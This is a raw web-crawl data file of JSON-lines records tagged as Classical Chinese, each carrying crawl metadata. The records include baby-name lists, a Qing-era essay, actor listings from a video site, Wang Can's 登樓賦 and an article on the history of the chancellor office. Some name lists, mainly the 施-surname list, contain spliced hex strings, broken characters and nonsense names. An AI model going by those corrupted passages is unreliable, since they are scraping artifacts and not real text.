后竞夕 后林渝 后银元 后启凡 后瑾喏另外传说炎帝后代共工氏有子名叫句龙,另外西周时鲁孝公的儿子公子巩的封邑郈,在黄帝时担任后土,\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nanhaiqiming\/694.html","date":"2019-12-05T19:48:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540482038.36\/warc\/CC-MAIN-20191205190939-20191205214939-00097.warc.gz","language":"lzh","language_score":0.5350682735,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5350682735443115, \"cmn_Hani_score\": 0.3068002164363861, \"nan_Hani_score\": 0.14812767505645752, \"wuu_Hani_score\": 0.010038199834525585}","num_words":799,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.587,"perplexity_score":500.0,"cluster_detection":1} +{"text":"原人上\n孔子曰:「天地之性,人為貴。」董子曰:「人受命於天,固超然異於群生。」非於聖人賢人徵之,於塗之人徵之也;非於塗之人徵之,於至愚極惡之人徵之也。何以謂?聖人賢人為人子,而能盡其道於親也,為人臣而能盡其道於君也;而比俗之人,徇妻子則能竭其力,縱嗜欲則能致其身,此塗之人能為堯、舜之驗也。婦人之淫,男子之市竊,非失其本心者,莫肯為也。而有或訐之,則怍於色,怒於言。故禽獸之一其性,有人所不及者矣,而偏且塞者不移也。人之失其性,有禽獸之不若者矣,而正且通者具在也。宋元凶劭之誅也,謂臧質曰:「覆載所不容,丈人何為見哭?」唐柳燦臨刑,自詈曰:「負國賊死其宜矣!」由是觀之,劭之為子,燦之為臣,未嘗不明於父子君臣之道也。惟知之而動於惡,故人之罪,視禽獸為有加;惟動於惡而猶知之,故人之性,視禽獸為可反。孟子曰:「人之所以異於禽獸者,幾希!」痛哉言乎!非明於天性,豈能自反於人道哉!\n|本清朝作品在全世界都屬於公有領域,因為作者逝世已經超過100年。|","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%8E%9F%E4%BA%BA%E4%B8%8A","date":"2020-07-12T23:52:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657140337.79\/warc\/CC-MAIN-20200712211314-20200713001314-00463.warc.gz","language":"lzh","language_score":0.576077044,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5760770440101624, \"cmn_Hani_score\": 0.36949750781059265, \"nan_Hani_score\": 0.02710953913629055, \"wuu_Hani_score\": 0.010030969977378845}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.469,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E8%91%A3%E6%95%AC%E6%96%87------------.html","date":"2020-09-22T13:24:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206133.46\/warc\/CC-MAIN-20200922125920-20200922155920-00225.warc.gz","language":"lzh","language_score":0.450214088,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.45021408796310425, \"cmn_Hani_score\": 0.4473201632499695, \"nan_Hani_score\": 0.0901898592710495, \"yue_Hani_score\": 0.011074877344071865}","num_words":140,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.536,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n苗僑偉 吳美珩 許紹雄 夏萍 陳國邦 廖碧兒 馬國明 陳秀珠 楊秀惠 康華 丘梓謙 駱應鈞 蔡潔雯 鄧健泓 張英才 鍾志光 李思捷 陳思齊 魯振順 簡慕華 米雪 鄺佐輝 梁舜燕 李日昇 王俊棠 黃智賢 王青 羅君左 袁潔儀 吳幸美 李漫芬 王少玲 林遠迎 蕭徽勇 陳琪 陳榮峻 殷櫻 潘家雯 楊嘉諾 河國榮 戴志偉 羅莽 李麗麗 黃芓晴 鄭家生 蔡國慶 趙季筱 鍾建文\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E4%B8%98%E6%A2%93%E8%AC%99------------.html","date":"2020-09-23T21:48:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400212959.12\/warc\/CC-MAIN-20200923211300-20200924001300-00347.warc.gz","language":"lzh","language_score":0.6548404098,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6548404097557068, \"cmn_Hani_score\": 0.2427661120891571, \"nan_Hani_score\": 0.0890679731965065, \"yue_Hani_score\": 0.012480982579290867}","num_words":162,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.713,"perplexity_score":500.0,"cluster_detection":1} +{"text":"展开全部施建华 施恭定 施慧雄 施辰斌 施长裕 施薇伦 施喜茹 施以妏 施又正 施展祯 施豪惟 施安能 施翰音 施玉宇 施爱e69da5e887aa62616964757a686964616f31333262373331甫 施瑶瑞 施谷茜 施坚平 施郁苓 施顺治 施佳姗 施威迪 施玲芝 施念祥 施姗贵 施纬德 施军帆 施于舜 施民姗仔友 施玟育 施乔豪 施云然 施湖美 施翰喜 施秋群 施瑜岑 施旭琦 施亚仲 施小雅 施念发 施虹民 施右桂 施俊荣 施灿群 施倩裕 施雅芝 施盛云 施原臻 施上名 施佐铭 施婷希 施茹雨 施任青 施振航 施为圣 施怡芷 施坤佩 施侑霞 施美琳 施一铭 施泓泉 施扬尧 施伦鑫 施彦靖 施南玲 施春筠 施翰仪 施欣恬 施顺苓 施玟正 施竹乐 施桂雅 施甫蓁 施财正 施桂靖 施庭勇 施友军 施少年 施希麟 施琪民 施博仁 施天威 施予钰 施治郁 施介玟 施大然 施登均 施志和 施如宁 施名凡 施韦欣 施绿然 施俊茵 施秀恩 施方全 施士盛 施宪达 施璇蓁 施世枝 施荣辰 施茂名 施廷顺 施卉伯 施阿瑜 施州华 施振娟 施吟嘉 施安明 施甫哲 施岳沛 施重鑫 施志湖 施玫琇 施宝伯 施绮菱 施韦齐 施群伯 施士妏 施延能 施恭海 施年雨 施铭盈 施薇希 施清筠 施靖盛 施仪旭 施昕富 施伸航 施林妏 施兆法 施心凯 施亮霖 施必依 施名仁 施少人 施芃沛 施意新 施丞斌 施少迪 施杰荣 施茜凡 施妏芸 施彬一 施礼雯 施湖斌 施少南 施安航 施建琴 施维白 施甫云 施允佩 施茵玫 施彬念腊槐勇 施重忠 施皓伦 施玮利 施家瑶 施人菱 施卉凯 施修萱 施孟文 施奇芸 施鸿纬 施宸依 施东琇 施香梅 施颖慈 施启军 施品依 施若惠 施莹琴 施佩来 施玮盈 施真贵 施火修 施昌书 施珍昀 施方宜 施铭源 施岳皓 施佩映 施石音 施昌雄 施月茵 施圣桓 施倩谕 施吉宣 施皓合 施清纶 施玄纬 施尚谷 施绍伟 施欣信 施年伶 施克依 施蕙坚 施立威 施秀雨 施琳昌 施成雅 施哲淳 施孟竹 施夙盈 施铭冰 施丹琴 施礼法 施育英 施羽芷 施月彬 施燕以 施映山 施皓恭 施祯昌 施建富 施俐升 施典强 施又琇 施成伦 施恒良 施娇秋 施然名 施初幸 施智以 施尧纯 施沛白 施书一 施金如 施承迪 施百来 施于绿 施宁伯 施平恬 施彬智 施谷琇 施坤豪 施邦瑄 施凤谦 施巧梅 施恭英 施兰莹 施阳瑞 施明治 施恭强 施右辉 施岳佩 施然友 施政名 施羽洁 施财明 施博轩 施韦旺 施松以 施岑华 施水扬 施芸茜 施天爱 施丹惟 施书辉 施宥全 施名俐 施洁怡 施妤洋 施火南 施廷勇 施贤诚 施彬雨 施名奇 施水德 施峻贵 施仁政 施忠玮 施修元 施宪盈 施礼依 施和全 施玮湖 施正珊 施芸名 施乃娟 施孟伶 施扬恩 施乃甫 施典发 施裕柏 施韦淳 施振强 施舜孝 施宇信 施任姗 施如芳 施贵谷 施妍岑 施恭季 施尧芝 施登扬 施小博 施妍念 施添明 施新行 施佩勇 施甫迪 施梅男 施容文 施伊甫 施百生 施胤玉 施如纯 施竹麟 施勇真 施妍琇 施冰谦 施喜恬 施辛绿 施巧劭 施又玲 施典平 施燕义 施舜佩 施均淑 施弘杰 施清齐 施宪珍 施宣茜 施俊维 施莹夫 施克维 施谷山 施凌英 施聿人 施右喜 施长夫 施成瑄 施伟茵 施侑生 施宥宏 施庭辛 施乐皓 施郁沛 施郁富 施吟汝 施家哲 施之政 施恒岑 施丹智 施琬萱 施韵盛 施琇龙 施局物筠泉 施菁春 施松杰 施音然 施振绍 施爱中 施舜珊 施巧谦 施江茂 施信吟 施凯光 施琦元 施璇升 施州新 施幼娟 施恩瑄 施若昆 施力郁 施皓郁 施育妮 施亭欣 施康珠 施奕人 施法启 施芝阳 施兴平 施邦辛 施英音 施其治 施卉妮 施忠阳 施妙凯 施凤帆 施秉劭 施介婷 施意博 施侑昆 施姵鑫 施阳春 施可以 施姗宣 施丰佳 施义孜 施琳俊 施可韦 施启爱 施亮欣 施茵彦 施昆亚 施菁绮 施仲能 施明欣 施昀奇 施林韦 施佳宁 施兴士 施尹英 施一顺 施介琬 施心隆 施长韦 施林蓉 施映安 施天麟 施鑫芝 施治文 施芸一 施智仪 施凯妏 施华勇 施石芳 施奕孜 施允杰 施恭宣 施佩博 施明政 施永白 施英怡 施巧俊 施光琦 施芝夫 施伊良 施欣霞 施书韦 施念宜 施佑绿 施祥纯 施纹宣 施水博 施香军 施昆谷 施良合 施凡沛 施石幸 施山易 施威正 施睿男 施秉志 施展福 施旭龙 施禾霖 施乔琪 施可纯 施倩芬 施力山 施儒莲 施明吟 施恬政 施致茜 施年蓉 施彦宏 施幼纶 施勇裕 施仁元 施明俐 施百湖 施冰智 施亨甫 施俞紫 施呈乐 施婷欣 施妙毓 施彦茂 施品诚 施亭源 施星德 施仲芳 施永秋 施右虹 施姗雄 施仁纯 施卉江 施苓辰 施月云 施慧宇 施茜萍 施秀菁 施木来 施英宸 施彬琦 施香州 施靖芷 施杰彬 施智玫 施裕豪 施书雪 施青舜 施泓凡 施安茹 施恩政 施兆法 施辛佩 施信福*展开全部可以是\"施晴\",\"施歌\"等等啊!www.shufadashi.com*�ɼ*�\n人物经历\n施维庭,男,2010年广州亚运会中华台北代表团成员。\n展开全部男孩 ♀施郁死 施松强 施小啦 施挚奕 施昊宁636f70793231313335323631343130323136353331333262366465 施善宗 施鉴刚 施小霖 施康宗 施仲怀 施乐栋 施启然 施忻浩 施逸丰 施可瑞 施月遨 施春清 施继辉 施政鸿 施大辉 施君生 施昱莱 施俊峰 施叔吉 施玉妤 施振里 施纯轩 施皓晖 施汇欣 施大学 施涌庭 施亦宁 施洪曙 施春禹 施海磊 施启音 施初子 施小嘉 施海印 施昱林 施晓玉 施赵浩 施维希 施清邑 施问斌 施金隆 施宇丞 施松源 施杰萱 施一豪 施昊益 施锦轩 施晨全 施英强 施禹彬 施皓楚 施永男 施嘉军 施梓越 施思强 施靖轩 施沛睿 施一鑫 施俏锘 施军彤 施佳泽 施泽聿 施裕宇 施安深 施子永 施宗书 施彦龙 施皓洋 施雷霖 施尚德 施邴田 施爱逸 施乐序 施止鑫 施沁帅 施胤华 施梓妤 施彦可 施劝苑 施怡涛 施翠琪 施嘉士 施学清 施晓刚 施史伟 施紫民 施大俊 施宗涛 施凌伦 施绩营 施钧涛 施博湘 施将轩 施志彬 施镔平 施运纤 施放脉 施巍琪巧灶 施金强 施凯羽 施颂星 施茂锋 施泽涛 施亦锴 施良泰 施音山 施建妤 施晨民 施鹭龙 施德馨 施赫嫣 施亚文 施少森 施长雄 施忠洋 施汝飞 施清澄 施智东 施雪天 施瑜峰 施鹏劝 施超茂 施琨含 施竞铭 施韵军 施艺骏 施一泽 施海宝 施珏福 施卓泽 施晟星 施奎钰 施庆峥 施杰熙 施和华 施子英 施宏翔 施禧伟 施永澄 施昊异 施叔宇 施堡多 施顺安 施焕珂 施宽囡 施志立 施志彤 施荣孚 施开铭 施绍梅 施延硕 施旻乎宽袜桐 施占杰 施开莹 施少烨 施若轩 施典之 施林南 施振汐 施鸣骞 施大昂 施丁健 施恺西 施夕昊 施本远 施浩迅 施兵煜 施玉旗 施海煜 施源凯 施子漪 施翌华 施伟轩 施建琪 施柏军 施沂强 施澎东 施胜辉 施润平 施笑安 施士阳 施异金 施哲煊 施伟宇 施知芝 施百轩 施桢斌 施昭琪 施光强 施柯涛 施卿然 施建伟 施昂翔 施思杰 施思明 ♂ 女孩施泽疆 施圆蜚 施禳琳 施嘉环 施贺蝶 施婧骞 施婉颖 施丹瑜 施美梅 施梦狗 施晓梅 施籽铮 施展霞 施美含 施睿雯 施艺嘉 施青山 施玉芝 施子艺 施雪鑫 施品然 施香宇 施芳媛 施艺诺 施敏然 施忆华 施荣玉 施力楚 施致杰 施思欣 施泳瑶 施长涵 施娟孔 施昀倩 施佳绩 施月莹 施彩然 施帆涵 施秋菡 施馨玲 施飞秦 施镕欣 施嘉君 施书伟 施恩溪 施泽吟 施涵梅 施曦祥 施亚男 施悯菲 施晶凡 施秋予 施渊雯 施舒涵 施春奕 施丽芸 施烁东 施恣石 施贝娟 施昱琳 施晓秀 施睿平 施艳远 施议熙 施君稀 施雁莲 施赑风 施嘉倩 施云仪 施世嫣 施嘉妮 施科楠 施玲蓓 施嘉岁激涵 施瑜轩 施柯芳 施泽霄 施佳璋 施至燕 施奕兰 施欣杰 施若琳 施逸书 施暄霞 施稚申 施凤天 施紫号 施姿然 施翠荭 施佳莹 施茗红 施晓淩 施婉荣 施运萍 施傲宇 施春梅 施莉婷 施泽格 施一霞 施绎洁 施芳凤 施泰萱 施奕琼 施泽兰 施沐玲 施锦涵 施志颖 施彩心 施美轩 施璐陶 施敏萍 施怡惠 施光梅 施璐林 施玉菲 施姗娟 施一轩 施秀蓓 施靖涵 施天津 施怡瑜 施馨芳 施姗盼 施英艳 施彦芹 施伊菁 施积鑫 施湘瑛 施玉颖 施迪涛 施卉睿 施德霞 施敬铄 施子燕 施楠蓉 施美晴 施欣静 施歆均 施璇芳 施孔阳 施翊红 施伶萱 施如贝 施雯雅 施子睿 施亦媚 施利婷 施天宁 施梓法 施亚雅 施博风 施金君 施静臆 施徐文 施雯毅 施欣仪 施嘉茗 施连溪 施君天 施秀轩 施肖儿 施思玲 施用卫 施若已 施欢敏 施进贞 施仂冰 施艳函 施奕星 施建宇 施一珊 施玉玲 施梦虹 施津良 施爱琪 施以颖 施鸿白 施玉雯 施芷柔 施婷玄 施静凤 施姗儿 施邵元 施岳颜 施维芳 施莎余 施利茜 施育淳 施雪嵋 施舒洁 施怡涵 施学怡 施诗涵 施以婷 施月麟 施妤婷 施盈露 施惠琪 施焱琅 施佑哲*展开全部女 :施婕男 施狄*www.shufadashi.com*ɼ*�\n声明:本网内容旨在传播知识仅供参考,不代表本网赞同其观点,文字及图片版权归原网站所有。","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/shufadashi.com\/b\/1719\/pg617194446.html","date":"2020-12-03T16:30:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141729522.82\/warc\/CC-MAIN-20201203155433-20201203185433-00319.warc.gz","language":"lzh","language_score":0.4624521434,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46245214343070984, \"cmn_Hani_score\": 0.31989166140556335, \"yue_Hani_score\": 0.16583587229251862, \"nan_Hani_score\": 0.02831481397151947, \"jpn_Jpan_score\": 0.011896983720362186, \"wuu_Hani_score\": 0.011016166768968105}","num_words":906,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.466,"perplexity_score":500.0,"cluster_detection":1} +{"text":"登茲樓以四望兮,聊暇日以銷憂。覽斯宇之所處兮,實顯敞而寡仇。挾清漳之通浦兮, 倚曲沮之長洲。背墳衍之廣陸兮,臨皋隰之沃流。北彌陶牧,西接昭邱。華實蔽野,黍稷盈 疇。雖信美而非吾土兮,曾何足以少留!\n遭紛濁而遷逝兮,漫逾紀以迄今。情眷眷而懷歸兮,孰憂思之可任?憑軒檻以遙望兮, 向北風而開襟。平原遠而極目兮,蔽荊山之高岑。路逶迤而修迥兮,川既漾而濟深。悲舊鄉 之壅隔兮,涕橫墜而弗禁。昔尼父之在陳兮,有歸歟之歎音。鍾儀幽而楚奏兮,莊舄顯而越 吟。人情同於懷土兮,豈窮達而異心!\n惟日月之逾邁兮,俟河清其未極。冀王道之一平兮,假高衢而騁力。懼匏瓜之徒懸兮, 畏井渫之莫食。步棲遲以徙倚兮,白日忽其將匿。風蕭瑟而並興兮,天慘慘而無色。獸狂顧 以求群兮,鳥相鳴而舉翼,原野闃其無人兮,征夫行而未息。心淒愴以感發兮,意忉怛而慘惻。循階除而下降兮,氣交憤於胸臆。夜參半而不寐兮,悵盤桓以反側。","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/big5.shicidaquan.net\/shici_510.html","date":"2021-01-28T04:54:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704835901.90\/warc\/CC-MAIN-20210128040619-20210128070619-00682.warc.gz","language":"lzh","language_score":0.6120833755,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.612083375453949, \"cmn_Hani_score\": 0.0926717221736908, \"zxx_Latn_score\": 0.08956962078809738, \"und_Egyp_score\": 0.021135563030838966, \"nan_Hani_score\": 0.01746368408203125, \"und_Tang_score\": 0.01366603933274746, \"yue_Hani_score\": 0.013498203828930855, \"und_Cyrl_score\": 0.012133631855249405, \"und_Xsux_score\": 0.010592042468488216}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.288,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 宰相\n宰相 者,百官之首也。宰者主也,相者禮官也,近君者也。宰相連稱,始見於:「故明主之吏,宰相必起於州部,猛將必發於卒伍。」歷代相職多別號,遂以宰相為統稱。\n1. 釋名\n宰、相二號也。宰出古祭儀,宰牲以祭者也,遂為祭主。殷周取主義,用為官號。太宰執國、邑宰主邑。相本禮官也,主諸禮司儀,近君者也,故戰國以降,為百官之長。韓非子乃連稱以指能臣。後人則用為相職統稱,以歷代相號多變故也。\n2. 沿革\n宰相為治官之首、百官之長,天下庶政,皆入其門,天子多憚之。故自秦皇定制,迄明祖廢相,宰臣之位,常有變焉。或虛其職、或分其權,旨在稍奪其事,以免專任干位也。\n初,秦定制,以 丞相 為百官首,秩萬石,取丞字副貳義,為天子之副也;漢初因之,唯更號 相國 ,後亦復舊名,時分置左右。丞相以御史大夫為副,相寺有十三曹,理天下庶政。元朔間,始置大將軍,與尚書決事宮中,丞相不得預,奉命執政而已,後改大司徒。東漢初去大字,相事歸 尚書臺 。魏晉復丞相號,別於司徒之上,非尋常人臣之職也。\n丞相失權,宰職以中書、侍中、尚書分領。中書者,中尚書也。始秦皇定制,以尚書為少府之屬,掌圖書章奏。大將軍置,事決內廷,尚書權日重。復以宦者便於禁中,置中書謁者令,後魏郡王氏諸公掌權,罷中書。建武間,改尚書為尚書令,分置六曹,事權至重。其後戚宦繼起,尚書復為奉命之職。侍中為加銜,以便出入禁中也。南北朝間,真相因時而變,或以中書、或以侍中、或以尚書。北周託古改制,置 天官冢宰 為相,下置六官。隋因周制稍改,置三省六部,為唐宋式。\n隋唐之制,以周制為基。宰職分屬三省,取漢魏間相權之職為名:中書省置 中書令 ,主草詔;門下省置 侍中 ,主封駁;尚書省置 尚書令 ,主六部。三省之長皆為宰相,議政於政事堂。中書草詔,交門下復審,復交天子畫敕而成詔,尚書奉行之。後以唐太宗嘗任尚書令,不復授人,改以 左右僕射 為長;唐高宗惡中書令、侍中品位高,亦不輕授,改以二省 侍郎 為長。乃以百官加 同平章事 等銜為宰相,加 參知政事 銜入政事堂。唐宰臣名目最多,蓋以差遣初興,而不離平章銜也,卒無加銜者非真相也。宋因之,以 同中書門下平章事 、 參知政事 為正副相。元豐改制,盡廢差遣,以尚書左右僕射各兼中書、門下侍郎為宰相。建炎間復加平章銜,併中書門下為一,以合宋初舊制。乾道間廢中書令、侍中、尚書令,定左右丞相為宰臣,迄於宋末。\n遼制分南北院,因唐宋置樞密院,下置宰相府,皆分南北。北院主兵事、南院主銓選丁賦。復置行營,以合契丹行國舊俗也。金初因之,後改行宋制,專用尚書一省,以左右丞相及平章為宰臣。元因之,專用中書省,置左右丞相以統百官。明初因用之,洪武十三年,以胡惟庸案廢中書省,六部直達天子。自此宰臣廢。其後明內閣置首輔,有類宰相者,而終無宰相之名也。\n3. 外國\n日本嘗學隋制,置二官八省,別立唐名以為雅稱。宰相為參議唐名也,惟此官為令外制,無定員,非如華制之隆也。\n阿拉伯諸國以大維齊爾為君王之副,亦多以宰相字譯之。\n今君主立憲制諸國,閣揆以首相為譯,亦唐政事堂語也。\n- 中書令長中書省 中國 越南有之 簡稱中令 令公 隋謂内史令 其時中書省謂內書省 越南 自前黎朝效宋設中書省 其長官亦稱中書令 李朝 陳朝 後黎朝沿用 阮朝廢之 隋書 宰相\n- 宋太宗 諱匡義 宣祖第三子 母杜太后 匡義輔太祖創業有功 封晉王 為太祖避諱 改名光義 太祖崩 光義即位 有斧聲燭影之說 即位後改名炅 陳洪達 錢俶相繼納土 未及取太原 滅北漢 乘勝欲取幽燕地 敗於契丹 遂開契丹之釁 始有西夏之患 命 宰相 修成類書 太平廣記 太平禦覽 文苑英華 在位二十二年崩 廟號太宗 宋史 太宗本紀\n- 領議政 雅稱領相 明建文二年始設 為朝鮮國議政府之首 上弼國王 下統百官 任惟一人 職同 宰相 領議政 左右議政 悉正一品 及大韓帝國立 更名曰 總理大臣\n- 宰相 節度彰義軍 宣慰淮西 奏愈行軍司馬 愈請乘遽先入汴 說韓弘使叶力 元濟平 遷刑部侍郎 憲宗遣使者往鳳翔迎佛骨入禁中 愈上表諫爭 貶潮州刺史 既至潮 以表哀謝 帝得表 頗感悔 乃改袁州刺史 召拜國子祭酒 轉兵部侍郎 鎮州亂 殺田弘正而立王廷湊 詔愈宣撫 歸 轉吏部侍郎 時 宰相\n- 吳 起唐末淮南節度使楊行密 據揚州 後世列入十國 唐昭宗景福元年 拜行密為淮南節度使 據揚州 天福二年 封行密為吳王 都廣陵 吳天祚三年 宰相 徐知誥廢楊溥 建南唐 吳國共歷四主 歷三十年\n- 安史之亂 天寶十四載 范陽節度使安祿山起兵反唐 陷洛陽 稱大燕皇帝 旋克高仙芝 哥舒翰軍 再陷長安 玄宗入蜀 馬嵬坡前 禁軍殺 宰相 楊國忠 楊貴妃自盡 太子亨即位於靈武 是為肅宗 祿山旋為子慶緒所弒 肅宗遣郭子儀 李光弼復兩京 史思明殺慶緒 再克洛陽 旋為子朝義所害 寶應二年 朝義兵敗自殺 安史之亂平\n- 昌黎豆盧氏 本鮮卑慕容部 後燕北地王精之後也 或云慕容超之裔 其姓之由來 新唐書 作歸義之說 攷其族人墓誌 云後魏賜姓 諸說差池 未詳其故 然豆盧之祖 蓋慕容無誤 唐世一人入相 五代一人入相 豆盧欽望 豆盧革也 新唐書 宰相 世系表四下 趙超 新唐書 宰相 世系表集校\n- 韓宣子起 韓貞子須 韓簡子不信 韓莊子庚 韓康子虎 韓武子啟章 韓景侯虔 韓烈侯取 韓文侯 韓哀侯 韓懿侯若山 韓昭侯武 韓宣惠王 韓襄王倉 韓釐王咎 韓桓惠王 韓廢王安 亡於秦 韓智傑為北宋 宰相 韓琦之後代 家從山西遷到山東嘉祥後部分人又遷濟寧喻屯鎮韓劉莊村 他一向敬仰祖先 號召集琦後代續寫家譜\n- 袁隗字次陽 漢汝南汝陽人也 兄逢 少歷顯官 先逢為三公 時中常侍袁赦 隗之宗也 用事於中 以逢 隗世 宰相 家 推崇以為外援 故袁氏貴寵於世 富奢甚 不與它公族同 獻帝初 隗為太傅 董卓忿紹 術背己 遂誅隗 祖父 京 伯父 敞 司空 父 湯 京子 太尉 兄 平 湯長子 兄 成 湯二子 左中郎將\n- 扆沂王傅 置洛陽 崔胤為朱全忠所害 扆復元官 從昭宗遷洛 全忠既害昭宗 扆與裴樞 王溥共罹白馬之禍 年五十九 子璪 緱氏令 新唐書 宰相 世系表載扆父名墠 曾祖名瀍 與 舊唐書 異 今人趙超 新唐書 宰相 世系表集校 訂瀍為灃 舊唐書卷一百七十九 新唐書表第十三下 新唐書 宰相 世系表集校","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/70532\/1\/%E5%AE%B0%E7%9B%B8.html","date":"2021-12-08T22:25:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363598.57\/warc\/CC-MAIN-20211208205849-20211208235849-00416.warc.gz","language":"lzh","language_score":0.5546740294,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5546740293502808, \"cmn_Hani_score\": 0.3128877878189087, \"nan_Hani_score\": 0.11332489550113678}","num_words":281,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.704,"perplexity_score":500.0,"cluster_detection":1} +{"text":"朝代:唐朝 作者:韩翃 